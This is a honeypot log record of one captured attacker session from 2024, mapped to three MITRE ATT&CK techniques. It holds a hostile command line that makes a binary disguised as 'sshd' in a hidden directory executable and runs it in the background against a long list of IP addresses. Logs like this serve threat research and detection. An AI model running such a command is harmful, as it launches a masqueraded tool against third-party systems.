Honeypot attack session (period 2024), commands issued:
chmod +x ./.615995336389561137/sshd;nohup ./.615995336389561137/sshd 45.192.77.155 134.209.0.27 45.192.65.148 45.192.69.165 45.192.77.148 15.206.79.116 27.42.165.157 185.240.151.74 183.252.11.28 185.240.151.102 110.42.98.219 45.251.115.48 45.192.77.132 114.255.216.70 110.80.140.158 208.65.84.165 208.65.84.88 125.124.199.57 45.192.77.182 185.240.151.116 13.57.35.178 104.248.63.189 212.127.78.147 103.145.145.82 42.101.33.234 77.91.84.247 112.16.228.85 45.192.77.135 45.192.69.155 45.192.65.143 208.65.84.108 45.192.73.188 185.124.108.182 107.158.225.94 45.192.65.129 185.105.89.228 45.192.65.147 59.38.100.77 159.65.13.229 183.134.74.142 45.192.65.156 181.113.114.115 222.186.10.55 159.65.20.186 45.192.77.184 140.246.77.210 185.240.151.93 104.168.117.168 45.192.65.176 107.172.108.61 183.36.36.195 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter